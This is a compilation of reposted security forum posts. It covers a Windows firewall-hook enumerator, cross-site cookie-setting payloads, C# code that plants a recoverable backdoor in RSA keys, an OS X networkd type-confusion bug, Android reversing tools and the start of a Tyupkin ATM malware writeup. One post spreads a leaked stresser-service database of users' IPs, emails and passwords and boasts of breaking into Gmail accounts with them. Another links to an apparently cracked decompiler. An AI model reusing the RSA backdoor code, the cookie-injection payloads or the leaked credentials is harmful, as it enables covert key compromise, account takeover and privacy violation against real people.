0x00051860 if no hooks are registered; otherwise the address is 0x00051870. The EAX register will hold the DWORD value located at the address within the EDI register. Lookup The code in the red rectangle starts with the following instructions: [TABLE=width: 665] [TR] [TD=width: 665] .text:0002905D loc_2905D: ; CODE XREF: UpdateFirewallQ(x,x,x)+85D9#j .text:0002905D cmp eax, edi .text:0002905F jnz loc_315FE[/TD] [/TR] [/TABLE] According to this, the lookup continues until the data at the address pointed to by the EAX register is the address of the FQBlock, the beginning of the list. In C the loop would look something like: [TABLE=width: 665] [TR=class: odd] [TD=width: 665] PVOID eax = (PVOID)*(unsigned int *)FQBlockAddr; while (eax != FQBlockAddr) { // to be done }[/TD] [/TR] [/TABLE] To be able to finish the loop and learn what the list of hooks looks like the rest of the code inside the red rectangle is analyzed. Given the information passed via the IOCTL request we can infer that the memory address of the hook to be registered or unregistered is basically the unique identifier. This means, the address of the hook is moved into the EDX register. Then, it is compared with the value at the address pointed to by EAX+8. The only reason for the comparison can be that the data at EAX+8 is the address of a registered firewall hook. Therefore, it is safe to assume the first argument to the UpdateFirewallQ function is the address of the firewall hook. Then if there is a match, the value of the EAX register is moved into var_4, but this step is not relevant. After this the value at the memory address pointed to by EAX is moved into EAX. To summarize: The first argument (arg_0) of the UpdateFirewallQ function is the address of the firewall hook. The structure of the list held in memory looks like this: We can use this information to finish up our pseudo code loop: [TABLE=width: 665] [TR] [TD=width: 665] PVOID FWHookCalloutAddr = NULL; PVOID eax = (PVOID)*(unsigned int *)FQBlockAddr; while (eax != FQBlockAddr) { /* FWHookCalloutAddr holds the address of the registered firewall hook */ FWHookCalloutAddr = (PVOID)(*(unsigned int *)((unsigned int)eax+0x8)); eax = (PVOID)*(unsigned int *)eax; }[/TD] [/TR] [/TABLE] This code then becomes the very core of a tool capable of printing out information about the registered firewall hooks. Development Before going into the details of the development process lets provide a quick summary on the development environment itself. Two virtual machines were used. One, named XP-A was the development machine and XP-B was the test machine. Both were running Windows XP x86 with SP3 installed, connected via a virtual serial port using named pipes. XP-A had the following tools installed. Visual Studio 2010 Visual DDK - VisualDDK - Create and debug driver projects directly from Visual Studio WinDDK - Download Windows Driver Kit Version 7.1.0 from Official Microsoft Download Center XP-B only had Visual DDK installed. VisualDDK has a tool under $VISUALDDK_HOME\target\$ARCH\ called DDKLaunchMonitor which basically allows the developer machine to transfer the driver (TCP/IP) and load it on the target machine. Installing VisualDDK will provide a new project type in Visual Studio, called VisualDDK Driver Wizard. This wizard will literally create a basic driver which we can extend. Developing the Windows Driver The first big question was whether to go with a PnP or NT4 driver model. And the first mistake was made right there. I thought it makes sense to go with the PnP driver so I can just plug it in and play. When the development got to the stage of implementing dynamic driver loading it turned out that for a PnP driver I would have to create a phantom device as Windows refused to load the driver when there was no device with the given GUID present. With an NT4.0 driver model dynamic loading was way easier. The other mistake I made was to implement the firewall hook enumerator first and call it from the DriverEntry. As a result, every time I made a mistake resulting in a BSOD (Blue Screen of Death) just a simple reboot of the machine was not enough. I instead had to restore Windows to a previous snapshot where the faulting driver was not loaded automatically at boot. The conclusion is: start with implementing the IOCTL handling first and then do the hook enumeration. A good practice is to design your code first or at least develop an idea on how it should work. In this case, it was relatively simple. A very high level diagram of the design can be seen below. The Driver has to be able to perform the followings: Handle IOCTL requests Obtain the address of registered hooks Get the base address of the module holding the hook functions Get the size of the module Get the offset of the hook function relative to the module base address Get the full path of the module And, the Client has to be able to deal with: Dynamic loading and unloading of the driver Sending IOCTL requests Processing the response received from the driver So, the client should send an IOCTL request asking for the list of firewall hooks and additional details. Meaning, that there should be a buffer filled with these details. Of course we have to allocate memory for this buffer. The question is what should be the size of the buffer? If we let the driver deal with this then we have to use two IOCTL requests: [TABLE=width: 665] [TR=class: odd] [TD=width: 665] #define IOCTL_GET_BUFFER_SIZE 0x801 #define IOCTL_DUMP_DATA 0x802 #define IOCTL_Get_Buffer_Size CTL_CODE(0x8080, \ IOCTL_GET_BUFFER_SIZE, \ METHOD_OUT_DIRECT, \ FILE_ANY_ACCESS) #define IOCTL_Dump_Data CTL_CODE(0x8080, \ IOCTL_DUMP_DATA, \ METHOD_OUT_DIRECT, \ FILE_ANY_ACCESS)[/TD] [/TR] [/TABLE] First, an IOCTL_GET_BUFFER_SIZE request is sent to the driver. The driver calculates the required buffer size in bytes and returns it to the client. Second, the client allocated the memory for the buffer, based on the required buffer size. [TABLE=width: 665] [TR] [TD=width: 665] WARNING: This approach works fine on a system where the number of firewall hooks does not change while the tool is running. But, this approach has a potential vulnerability which could be exploited by a malicious registered firewall hook. There is a TOCTOU vulnerability here which if exploited could result in a Buffer Overflow. A malicious firewall hook designed to detect our firewall hook enumerator could for example register an additional firewall hook between the 2 IOCTL requests (a race condition). The client allocates X bytes of memory after the first IOCTL response. When the buffer is passed via the 2nd IOCTL request to the driver the driver will move X+Y bytes into the buffer. To avoid a buffer overflow like this, we have the following options: Use 1 IOCTL request, let the driver allocate the memory, fill it with the data and set Irp->IoStatus.Information to the number of bytes written. Use 2 IOCTL requests. In this case the client should pass the size of the buffer with the request and the driver should take care not to overflow the buffer. The first approach seems to be more reliable and safer. However we felt that this wasn’t serious issue as if a malicious firewall hook was present on the system already, and by virtue of that in Kernel, plus being designed to attack us or subvert our detection then there would be likely many other ways. Plus we also released a Volatility plugin for working on RAM dumps and thus not susceptible. We wanted to mention this to emphasize show important it is to consider the ramifications of such design choices. [/TD] [/TR] [/TABLE] The following sequence diagram summarizes what it is to be achieved. To be able to calculate the buffer size first, we have to define what information we would like to return to the client. The structure below servers this purpose well. [TABLE=width: 665] [TR=class: odd] [TD=width: 665] typedef struct _hookInfoEntry { ULONG calloutAddress; /* Address of the firewall hook (callout) */ ULONG calloutOffset; /* Offset of callout from moduleBaseAddress */ ULONG moduleBaseAddress; /* The address of the module in memory */ ULONG moduleSize; /* Size of the module */ USHORT fileNamePosition; /* Points to the file name in fullPathName */ UCHAR fullPathName[MAX_PATH]; /* Module full path, incl. the filename */ } hookInfoEntry; [/TD] [/TR] [/TABLE] We have one hookInfoEntry per registered firewall hook, therefore: buffer_size = number_of_hooks * sizeof(hookInfoEntry) As we wanted to include additional information about the environment we were enumerating the following structure was also added to the start of the buffer. [TABLE=width: 665] [TR] [TD=width: 665] typedef struct _hookEnvInfo { ULONG regHookCount; /* Number of registered hooks */ ULONG FQBlockAddr; /* Address of FQBlock */ } hookEnvInfo;[/TD] [/TR] [/TABLE] This way, the driver calculates the buffer size according to the following formula. buffer_size = number_of_hooks * sizeof(hookInfoEntry) + sizeof(hookEnvInfo) Obviously, the number of registered hooks has to be known to be able to calculate the buffer size. Fortunately, thanks to our reverse engineering effort we already know how to determine how many hooks we have registered. Once the buffer size returned by the driver the client allocates the memory and passes the pointer to the buffer to the driver via the IOCTL_DUMP_DATA IOCTL request. The diagram on the right gives a basic picture on how the “dump” request is handled by the driver. Most of the process has been already explained. For the rest we are not going to go into detail but just mention a few interesting things that were relevant. Getting the module base address We use a technique that is similar to the way many exploits determine the base address of a loaded DLL. [TABLE=width: 414] [TR=class: odd] [TD=width: 300] PVOID getModuleBaseAddress(PVOID FWHookAddr) { FWHookAddr = (PVOID)(((unsigned int)FWHookAddr | 0xfff) + 1); while (strncmp((CHAR *)FWHookAddr, "MZ", 2) != 0) { FWHookAddr = (PVOID)((unsigned int)FWHookAddr - 0x1000); } return(FWHookAddr); }[/TD] [/TR] [/TABLE] The above function calculates the module base address from the address of the registered hook (FWHookAddr). Getting module information To obtain the name and size of the module the AuxKlibQueryModuleInformation function was used. Calculating the hook offset Calculating the offset of the hook function relative to the module base is very easy and can be done by the formula below. offset = hook_address - module_base_address What we haven’t mentioned yet and according to the execution flow this is the first step: the initialization. The prerequisite of being able to enumerate the firewall hooks is being able to find FQBlock, which as previously mentioned is a structure holding information about the registered hooks. For this, the following things have to be done: Find the base address of TCPIP.SYS Calculate the address of FQBlock To find the base address of TCPIP.SYS we reused code from the following site: Windows NT Kernel mode GetProcAddress and GetModuleHandle We implemented in a function called KernelGetModuleBase. To calculate the address of FQBlock we implemented the following function. [TABLE=width: 665] [TR] [TD=width: 665] PVOID findFQBlockAddress() { unsigned int FQBlock_offset = 0x00051860; PVOID addr = KernelGetModuleBase("tcpip.sys"); PVOID pe_hdr = (CHAR *)addr + (unsigned char)*((CHAR *)addr + 0x3C); PVOID image_base_addr = (CHAR *)pe_hdr + 0x34; PVOID addr_FQBlock = (CHAR *)addr + (FQBlock_offset - *(unsigned int *)image_base_addr); PVOID FQBlockAddr = (CHAR *)addr_FQBlock + getFQCounter(addr_FQBlock); return(FQBlockAddr); }[/TD] [/TR] [/TABLE] It basically retrieves the image base by parsing the PE header then calculates the address of FQBlock relative to it. As mentioned earlier, during the reverse engineering phase, the list of registered firewall hooks start at FQBlock + Value-of-FQCounter. The value of FQCounter is 0x10 if there are hooks registered; otherwise it is 0x00. Therefore, adding 0x10 to the address of FQBlock will result in a pointer to the first entry in the list of registered hooks. Developing the Client Developing the client was quite simple. I started with a standard Win32 console application template. As during the development VisualDDK handled the driver loading I left the implementation of the dynamic driver loading and unloading as the last step. The client performs the following operations in order: Dynamic driver loading Obtaining the details of registered firewall hooks by sending IOCTL requests to the driver Display the information of the registered hooks Cleanup process I will not go into the details of step 2 and 3. There are many useful guides on how to communicate with a driver via IOCTLs. Also, parsing the firewall hook data using the structures mentioned earlier and printing it to the screen should not be a problem if you are reading this. What was a bit tricky is the dynamic loading of the driver. Prior loading the driver using the NtLoadDriver API the client had to perform the following steps: Get the path of the Windows directory Copy the driver to System32\drivers Create registry key HKLM\System\CurrentControlSet\Services\<driver name> Create the following sub keys: ? ImagePath – Full path to the driver. ? DisplayName – Name to be displayed for the driver. This is what you can see in the device manager. ? Description – An optional description of the driver. ? Group – Name of the group. In this case it was “Extended Base” Not so surprisingly the cleanup procedure is about undoing all the changes in the reverse order: Unload driver using the NtUnloadDriver API Delete registry keys Remove driver from System32\drivers The result being the tool release here - https://github.com/nccgroup/WindowsFirewallHookDriverEnumeration/releases Conclusions and Summary Anyway we hope you enjoyed this post as it was an interesting little project for sure. We’ve walked through the problem, our strategy and each of the different phases which resulted in the implementation of the tool. Anyway until next time… Sursa: https://www.nccgroup.com/en/blog/2015/01/windows-firewall-hook-enumeration/
-
[h=1]Rudolf Marek: AMD x86 SMU firmware analysis[/h] Publicat pe 28 dec. 2014 http://media.ccc.de/browse/congress/2... You definitely should care. The aim of this talk is to provide insight to the security, architecture and yes you guessed it, vulnerability of the AMD System Management Unit (SMU) firmware found in modern AMD x86 processors. Rudolf Marek Help us caption & translate this video!
-
Analysis of setting cookies for third party websites in different browsers Tuesday January 20, 2015 tl;dr This post discusses the results from our research into the ability of third party websites setting cookies for first party websites across different web browsers. The ability to be able to set cookies in this manner not only facilitates tracking but also opens up other opportunities and avenues of attack. Introduction Cookies are one of the most common sources user supplied input for web applications, with browsers sending their latest values to their relevant server with every normal HTTP request. Like any other forms of user input, cookies can be used to attempt a number of different classes of attack including cross-site scripting (XSS) and SQL Injection (SQLi). Exploiting client side issues (such as an XSS) via cookie parameters is more difficult than using URL parameters (QueryString) or body of POST requests as an attacker needs to find a way to set a malicious cookie value in victims’ browsers in the first place. Risks posed an XSS issue when an attacker can set a malicious cookie for victims are less than a normal stored XSS but higher than a reflected one. This type of attack is normally possible by using another reflected XSS (in the same domain or another subdomain) or by exploiting a CSRF issue in a page that that stores users supplied input in a cookie. It should be noted that it is not uncommon for websites to keep users’ supplied data that is received from GET or POST requests in their cookies. For instance, “Remember me” or “Keep me signed in” feature of a login page is a common place to see this behaviour in which the provided username might be kept in the cookies even when the provided username is incorrect. In this research different methods by which it is possible to set cookies via a CSRF style attack through an IFRAME tag have been reviewed. In order to send an HTTP request to a target website via an IFRAME, a list of HTML/SVG tags that can accept URL in their attributes were extracted from the following resources: Index of the HTML 4 Attributes Index — HTML5 Attribute Index – SVG 1.1 (Second Edition) A testing framework in JavaScript was also designed and implemented to test different cases automatically. This framework operates in the following way: First it opens HTML test cases which are designed for setting cookies. Then it changes the required parameters such as the target URL in the HTML codes and loads them in different IFRAME tags. Finally, it checks the target website to see whether the cookie parameters were set successfully or not on the target website. These steps are shown in the image below. The test website was also protected with the following defensive HTTP security headers to remove trivially exploitable scenarios: [TABLE] [TR] [TD] X-Frame-Options: DENY X-Content-Security-Policy: allow 'self'; frame-ancestors 'none' X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block[/TD] [/TR] [/TABLE] The results for the different browsers are as follows (with no user interaction): Lessons Learned In order to send a GET request to set a cookie in multiple browsers (tested on Firefox, IE, Chrome, and Opera), the following methods can be used: Using the DATA attribute in an OBJECT tag (no closing tag is required): [TABLE] [TR=class: odd] [TD] <OBJECT data="http://target.com/setcookie?cookie=value"> </OBJECT>[/TD] [/TR] [/TABLE] Using the SRC attribute in an EMBED tag (no closing tag is required): [TABLE] [TR] [TD] <EMBED src="http://target.com/setcookie?cookie=value"> </EMBED>[/TD] [/TR] [/TABLE] Using the SRC attribute of an IFRAME that targets a local Flash file. This Flash file reads data from a local page that redirects the request to the target website that sets a cookie: [TABLE] [TR=class: odd] [TD] <IFRAME src="./localFlash.swf?input=./localRedirect?rdir=http://target.com/setcookie?cookie=value "></IFRAME>[/TD] [/TR] [/TABLE] Using the ACTION attribute in a FORM tag to target an internal IFRAME. This IFRAME uses a local page that redirects the request to the target website. In this case, although the FORM tag still uses the POST method, it sends a GET request to the target after being redirected with status code of 301 (or 302): [TABLE] [TR] [TD] <FORM name="myFORM" action="./localRedirect?rdircode=301&rdir=http://target.com/setcookie%3Fcookie=value" method="POST" target="internalFrame"> <input type=submit /> </FORM> <IFRAME name="internalFrame"></IFRAME> <script> myFORM.submit(); </script>[/TD] [/TR] [/TABLE] It was not possible to find one solution for all the browsers to send a POST request to the target page. However, two solutions could be used at the same time to cover all the tested browsers. Solution one: using an OBJECT tag as an IFRAME. Although IE used the OBJECT tag as an IFRAME just like other browsers, the FORM tag could not use it as its target (it tried to open a new page which was blocked by the IE popup blocker). [TABLE] [TR=class: odd] [TD] <FORM name="myform" action="http://target.com/setcookie?cookie=value" method="POST" target="testObjectframe"> <input type=submit /> </FORM> <OBJECT data="/" name="testObjectframe" title="0" onload="if(this.title==0) {this.title=1;myform.submit();}"></OBJECT>[/TD] [/TR] [/TABLE] Solution two: Browsers redirect a POST request with its parameters when they receive a HTTP status code 307 or 308. Among the tested browsers, Firefox needed user interaction for this to happen. IE 11 also did not support status code 308. [TABLE] [TR] [TD] <FORM name="myform" action="./localRedirect?rdircode=307&rdir=http://target.com/setcookie%3Fcookie=value" method="POST" target=" internalFrame"> <input type=text name=test value=test /> <input type=submit /> </FORM> <IFRAME name=" internalFrame" onload="confirmPagLoad()"></IFRAME> <script> myform.submit(); </script>[/TD] [/TR] [/TABLE] Internet Explorer (IE) was very different than other browsers during this research. This difference was because of implementing the Platform for Privacy Preferences Project (P3P) protocol. Briefly, IE does not allow any third party website (a website which is opened in an IFRAME and its domain is different from its parent for example) to set any cookies when it does not have an appropriate P3P header in HTTP responses. You can read more about P3P in its Wikipedia page. However, this research identified some methods with which it was possible to circumvent this policy in IE even when its privacy setting was set on “Medium High”. A live demo of the designed JS framework for this research can be found in the following URL: http://0me.me/demo/cookie-test/testcase_runner.html Note: This page sends its requests to the sdl.me server (an IIS server). Source Code The source code for the framework can be found on GitHub page here - https://github.com/nccgroup/SetCookieAnalysisInBrowsers Vendor Disclosure This research was performed in September 2014 and the P3P policy bypass issues were reported to Microsoft in October 2014. Microsoft confirmed that we can disclose the details publicly in January 2015. Future Research On the pile for future research includes further test cases for different techniques and client side OBJECTs such as SVG, SWF, Silverlight, and so on. Additionally Non-standard HTML tags (browser specific ones) should also likely be added to the test cases. Engaging NCC Groups Security Research NCC Group Security Research is regularly engaged by our clients to undertake projects ranging from a few days through to multi-year endeavours. Your organization could benefit from working with one of the world’s most unique companies when it comes to breadth, scale, global reach and technical specialism. Sursa: https://www.nccgroup.com/en/blog/2015/01/analysis-of-setting-cookies-for-third-party-websites-in-different-browsers/
-
Backdoor in a Public RSA Key Written by Scratch | 20 January 2015 | Original Source Hello, %username%! When I saw how it works, say that I was shocked is to say nothing. It's a pretty simple trick, but after reading this article, you will never look at the RSA as before. This is not a way to hijack RSA, but something that will make your paranoia greatly swell. So, imagine that you have access to the generator of an RSA key and you want to give someone the opportunity to get the private key without any factorization and other quantum computers. What we need to do? I'm going to use C#, BouncyCastle and Chaos.NaCl (this library implements Curve25519). 1). PRNG We need a PRNG which is initialized with a secret value. I'm going to use AES in CTR mode. using System; using System.ComponentModel; using Org.BouncyCastle.Crypto.Engines; using Org.BouncyCastle.Crypto.Parameters; using Org.BouncyCastle.Crypto.Prng; using Org.BouncyCastle.Security; namespace RsaBackdoor.Backdoor { class SeededGenerator:IRandomGenerator { private readonly AesFastEngine _engine = new AesFastEngine(); private readonly byte[] _counter = new byte[16]; private readonly byte[] _buf = new byte[16]; private int bufOffset = 0; public SeededGenerator(byte[] key) { _engine.Init(true, new KeyParameter(key)); MakeBytes(); } private void MakeBytes() { bufOffset = 0; _engine.ProcessBlock(_counter, 0, _buf, 0); IncrementCounter(); } public void IncrementCounter() { for (int i = 0; i < _counter.Length; i++) { _counter[i]++; if (_counter[i] != 0) break; } } public void AddSeedMaterial(byte[] seed) { } public void AddSeedMaterial(long seed) { } public void NextBytes(byte[] bytes) { NextBytes(bytes, 0, bytes.Length); } public void NextBytes(byte[] bytes, int start, int len) { var count = 0; while (count < len) { var amount = Math.Min(_buf.Length - bufOffset, len - count); Array.Copy(_buf, bufOffset, bytes, start + count, amount); count += amount; bufOffset += amount; if (bufOffset >= _buf.Length) { MakeBytes(); } } } } } 2). Let us recall about great Curve25519, namely the fact that any 32-byte sequence is valid for its private key. At the same time, the public key is always 32 bytes also. Let's pre-generate the master key and assign it to a constant variable: private const string MY_PRIVATE_STR = "BDB440EBF1A77CFA014A9CD753F3F6335B1BCDD8ABE30049F10C44243BF3B6C8"; private static readonly byte[] MY_PRIVATE = StringToByteArray(MY_PRIVATE_STR); For each generated RSA key pair we will also generate a random key pair of Curve25519 and then calculate the shared secret from the public key of the pair, and our private key. This secret is the key to PRNG from step 1. Seed generation for PRNG: private void MakeSeedAndPayload(out byte[] seed, out byte[] payload) { var rnd = new SecureRandom(); var priv = new byte[32]; rnd.NextBytes(priv); payload = MontgomeryCurve25519.GetPublicKey(priv); seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE); } Curve25519 public key, which we will use to calculate the seed is a payload. We will try to put it into the RSA public key. 3). Generate RSA key pair by using PRNG and our seed. var publicExponent = new BigInteger("10001", 16); var keygen = new RsaKeyPairGenerator(); keygen.Init(new RsaKeyGenerationParameters(publicExponent, new SecureRandom(new SeededGenerator(seed)), 2048, 80)); var pair = keygen.GenerateKeyPair(); It's worth saying that key-based RSA is always two prime numbers p and q. Their product is called «modulus» and is part of the public key. In this case, two 2048 bits numbers are searched with the help of our PRNG and then a single key pair is built from them. 4). Now, replace some bytes from p*q modulus with our payload. It makes sense to replace more significant bytes, so that they are not deleted later. 80 bytes-shifting should be enough. var paramz = ((RsaPrivateCrtKeyParameters) pair.Private); var modulus = paramz.Modulus.ToByteArray(); Replace(modulus, payload, 80);5). We now have a new n' modulus and need to regenerate the remaining parameters, taking n' into account: 5.1). Calculate new q'. We have no idea what it's gonna be like on the current stage, but it's not terrible: q' = n' / p5.2.). Look for a new prime number basing on q'. When we find it, least significant bits will be deleted. But the most significant ones will remain the same. That's exactly what we need. var p = paramz.P; var n = new BigInteger(modulus); var preQ = n.Divide(p); var q = preQ.NextProbablePrime();Once we have a new [B]q[/B], we calculate all the key-pair parameters, except [B]p[/B], again. public AsymmetricCipherKeyPair ComposeKeyPair(BigInteger p, BigInteger q, BigInteger publicExponent) { if (p.Max(q).Equals(q)) { var tmp = p; p = q; q = tmp; } var modulus = p.Multiply(q); var p1 = p.Subtract(BigInteger.One); var q1 = q.Subtract(BigInteger.One); var phi = p1.Multiply(q1); var privateExponent = publicExponent.ModInverse(phi); var dP = privateExponent.Remainder(p1); var dQ = privateExponent.Remainder(q1); var qInv = q.ModInverse(p); var priv = new RsaPrivateCrtKeyParameters(modulus, publicExponent, privateExponent, p, q, dP, dQ, qInv); return new AsymmetricCipherKeyPair(new RsaKeyParameters(false, priv.Modulus, publicExponent), priv); } As a result, we obtain a valid key pair, which has our payload in its public key — namely, the information on how to get the seed and then private key itself. We can extract payload: public byte[] ExtractPayload(RsaKeyParameters pub) { var modulus = pub.Modulus.ToByteArray(); var payload = new byte[32]; Array.Copy(modulus, 80, payload, 0, 32); return payload; }Calculate the seed and do the same process one more time in order to get the private key: public AsymmetricCipherKeyPair BuildKeyFromPayload(byte[] payload) { var seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE); return BuildKey(seed, payload); } Thus, by owning a Curve25519 private key, only we can obtain a private key of any backdoored RSA. Where it can be applied? Anywhere! You'll never prove that the key pairs issued to you by banks do not have these type of markings. It's impossible to prove! So try to generate keys by yourself. Well, and stop using RSA, if possible. Source code. Thanks https://gist.github.com/ryancdotorg for the original implementation https://gist.github.com/ryancdotorg/18235723e926be0afbdd. Sursa: http://kukuruku.co/hub/infosec/backdoor-in-a-public-rsa-key
-
OS X networkd "effective_audit_token" XPC type confusion sandbox escape (with exploit) Reported by ianb.. @google.com, Oct 20, 2014 networkd is the system daemon which implements the com.apple.networkd XPC service. It's unsandboxed but runs as its own user. com.apple.networkd is reachable from many sandboxes including the Safari WebProcess and ntpd (plus all those which allow system-network.) networkd parses quite complicated XPC messages and there are many cases where xpc_dictionary_get_value and xpc_array_get_value are used without subsequent checking of the type of the returned value. An XPC message with the following keys and values will reach the function at offset 0x7421 in networkd: exploit dict = { “type” = 6, “connection_id” = 1, “state” = { “power_slot”: 0 }, “parameters” = { “duration” = 0, “start” = 0, “connection entry list” = [ { “hostname”: “example.com” } ], "effective_audit_token" = "type not checked", } } Here's the code reading "effective_audit_token": __text:00000001000075E5 lea r14, off_1000177D8 ;"effective_audit_token" __text:00000001000075EC mov rsi, [r14] __text:00000001000075EF mov rdi, r13 __text:00000001000075F2 call _xpc_dictionary_get_value ; (a) __text:00000001000075F7 xor r12d, r12d __text:00000001000075FA test rax, rax __text:00000001000075FD jz short loc_10000763A ; ( __text:00000001000075FF mov rsi, [r14] __text:0000000100007602 mov rdi, r13 __text:0000000100007605 call _xpc_dictionary_get_value ; © __text:000000010000760A mov rdi, rax __text:000000010000760D call _xpc_data_get_bytes_ptr ; (d) At (a) and ( the code checks if there is any value in the parameters dictionary with the key "effective_audit_token". If there is then at © it reads that value again and at (d) uses it as an xpc_data object by passing it to xpc_data_get_bytes_ptr. There is no check that "effective_audit_token" really was an xpc_data object. See https://code.google.com/p/google-security-research/issues/detail?id=121 for details of how to exploit such a type-confusion. Attached PoC exploits this bug to run a shell command as networkd. Only tested on 10.9.5 - there are hardcoded offsets in the PoC which might have to be fixed up for other versions, sorry! [TABLE] [TR] [TD] [/TD] [TD] networkd_exploit.c 6.0 KB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=130
-
Android Reverse Engineering Heaven tools androidterm? Android Terminal Emulator Code: Error 404 (Not Found)!!1 droidbox? Android Application Sandbox Code: https://code.google.com/p/droidbox/ TaintDroid? Realtime Privacy Monitoring on Smartphones Code: https://github.com/TaintDroid Code: TaintDroid: Realtime Privacy Monitoring on Smartphones apktool? A tool for reverse engineering Android apk files Code: android-apktool - A tool for reverse engineering Android apk files - Google Project Hosting smali? An assembler/disassembler for Android’s dex format Code: https://code.google.com/p/smali/ AndBug? a debugger targeting the Android platform’s Dalvik virtual machine intended for reverse engineers and developers Code: https://github.com/swdunlop/AndBug apkinspector? APKinspector is a powerful GUI tool for analysts to analyze the Android applications. Code: https://code.google.com/p/apkinspector/ androguard? Reverse engineering, Malware and goodware analysis of Android applications … and more (ninja !) Code: https://code.google.com/p/androguard/ jad? Java Decompiler tool Code: http://www.varaneckas.com/jad/ dex2jar? Tools to work with android .dex and java .class files Code: http://code.google.com/p/dex2jar/ ded? Decompiling Android Applications Code: http://siis.cse.psu.edu/ded/ ARE? Virtual Machine for Android Reverse Engineering Code: https://redmine.honeynet.org/projects/are STOWAWAY? A static analysis tool and permission map for identifying permission use in Android applications Code: http://www.android-permissions.org/ COMDROID? A static analysis tool for identifying application communication-based vulnerabilities. Code: http://www.comdroid.org/ dex-decomplier? Dex decompiler Code: https://code.google.com/p/dex-decomplier/ amatutor? Android???????? Code: https://github.com/secmobi/amatutor mobile sandbox? Provide an Android application file (apk-file) and the Mobile-Sandbox-System will analyze the file for malicious behaviour. Code: http://mobilesandbox.org/ apkstatics? a tool for APK static security check Code: https://code.google.com/p/apkstatics/ DexGuard? DexGuard is specialized optimizer and obfuscator for Android Code: http://www.saikoa.com/dexguard android-stuff? This is a repository for random scripts and files using for Android reversing Code: https://github.com/jlarimer/android-stuff Dexter? Dexter is a static android application analysis tool Code: http://code.google.com/p/android-market-api/ JEB? The Interactive Android Decompiler. Code: http://www.android-decompiler.com/ APK_OneClick? decompile & disassemble APKs Code: http://forum.xda-developers.com/showthread.php?t=873466 APK IDE? ???APK????Apk IDE??????????????Apk??????? Code: http://bbs.pediy.com/showthread.php?t=168001 ApkToolkit ?????????????Apk??????? Code: http://bbs.pediy.com/showthread.php?t=169975 smali-cfgs? Smali Flow Graphs Code: https://code.google.com/p/smali-cfgs/ droidwall? Android Firewall Code: https://code.google.com/p/droidwall/ connectbot? Secure shell (SSH) client for the Android platform Code: https://code.google.com/p/connectbot/ ????? ??APK????????? Code: https://fireeye.ijinshan.com/ Android?????? ????Android???? Code: http://www.apk32.com/index.php Virustotal? VirusTotal is a free service that analyzes suspicious files and URLs and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware. Code: https://www.virustotal.com/en/ SandDroid An APK Analysis Sandbox Code: http://sanddroid.xjtu.edu.cn/ AndroTotal? AndroTotal is a free service to scan suspicious APKs against multiple mobile antivirus apps. Code: http://beta.andrototal.org/ Sursa: http://forum.exetools.com/showthread.php?t=16451
-
JEB - The Interactive Android Decompiler Decompile APK. Mark-up your analysis. Leverage our API. JEB is the most powerful Android app decompiler, built by and for security engineers, and allows them to do their job faster and more efficiently. Features See how JEB makes APK decompilation and Android decompilation easy: Full-fledged Dalvik decompiler. At its core, JEB's unique feature is its ability to directly decompile Dalvik bytecode to Java source code. This approach offers many advantages, as our in-house decompiler is aware of and takes into consideration many Dalvik subtleties, and makes wise use of the metadata present in the DEX file. (See how JEB compares against other tools.) Interactivity. Analysts need flexible tools, especially when they deal with obfuscated or protected pieces of code. JEB's powerful UI allows you to examine cross-references, rename methods, fields, classes and packages, navigate between code and data, take notes, add inline comments, and more. Full APK view. Take advantage of the full APK view, including decompressed manifest, resources, certificates, strings, constants, etc. Again, flexibility is key. API for Automation. Use JEB's Application Programming Interface (API) to write Python scripts and plugins, and automate your analysis needs. Track your progress. What would hours of research and analysis mean if you or your team couldn't pick up from where you left off? Save your analysis to binary files, track progress through JEB's revision history mechanism Technical support. Enjoy our responsiveness. We are also committed to frequent release cycles to make sure JEB stays at the top of its game. Multi-platform. JEB runs on Windows, Linux and Mac OS. Download: DepositFiles Sursa: JEB - The Interactive Android Decompiler - EXETOOLS FORUM Plus (alta versiune): jeb-1.5.201404100 Quote: [TABLE=width: 100%] [TR] [TD=class: alt2] here is jeb-1.5.201404100 its not crypted but needs license [/TD] [/TR] [/TABLE] Code: Zippyshare.com Quote: pass: 1337jeb1.5.201404100BS
-
Oracle releases 167 critical security fixes for Java and Sun systems
Nytro replied to Aerosol's topic in Stiri securitate
"The Oracle Java SE update fixes 19 flaws, 14 of which were also remotely exploitable." Clasic. -
Cititi bre, ca in lumea asta nu e doar XSS.
-
Lizardstresser.su Full SQL DB Leak Recently LizardSquad's(@LizardMafia) DDoS booter LizardStresser.su had they entire SQL DB leaked! They keep trying to suppress the leak with gay report-cannons and DMCA pulls lol However this leak is wayyyy too fucking juicy to let it not go viral... The SQL DB is filled with login ips,usernames,passwds,emails and even BTC addresses!!! *Many skids fell for they trick to turn off VPN/Proxy to use the booter so it recorded they real IPs* *Also many use same passwds for they login as the listed email the signup with... already got into 20+ gmails lol* All creds for the epic hack go to teh homie nachash(@loldoxbin) Screenshot: imgur: the simple image sharer [+] Torrent [+] https://kickass.so/lizardstresser-su-full-sql-db-leak-t10101482.html [+] Torrent Magnet [+] magnet:?xt=urn:btih:DD8AC598B6980F9A275BAF7B0046FF69DDE12AE0 [+] Download Mirrors [+] https://mega.co.nz/#!m0tgjC5D!edNG37Jna0hiC3N8tzUuAsOL8xKgXyimHTNR4F_BbRE lizards-full Sursa: [+] Lizardstresser.su Full SQL DB Leak [+] - Pastebin.com
-
Tyupkin ATM Malware Analysis Introduction Some time ago, Kaspersky discovered and reported a new type of malicious program called Tyupkin, which targets ATM machines by moving beyond targeting consumers with card skimmers that steal debit card numbers to directly getting cash from an ATM without the need for a counterfeit or stolen card. At the heart of the Tyupkin exploitation of ATMs is the simple fact that it requires physical access to an ATM. The attacker would need a bootable CD to install the malware in the ATM. Because of this, physical security elements should be seriously taken into consideration. According to Kaspersky, this malware was active on more than 50 ATMs in Eastern Europe, but from VirtualTotal submissions, we consider that this malware has spread to several other countries, including the US, India and China. Here are the basic steps of how this malware performs its attack: It is only active at specific times of the night on certain days of the week, between Sunday and Monday 1:00 to 5:00. There is a hidden window running the malware in the background. When the user enters the right key in the keypad, it displays the program interface, then it generates a key based on a random seed. Of course, the algorithm responsible for this operation is known only by the authors of the malware to prevent anyone from interacting with the ATM. When the correct key is entered, it leads to the process to take money off the net. WOSA/XFS Overview First and foremost, let me give you a brief overview of what’s related to banking technology. Historically, hardware vendors have taken a proprietary approach, 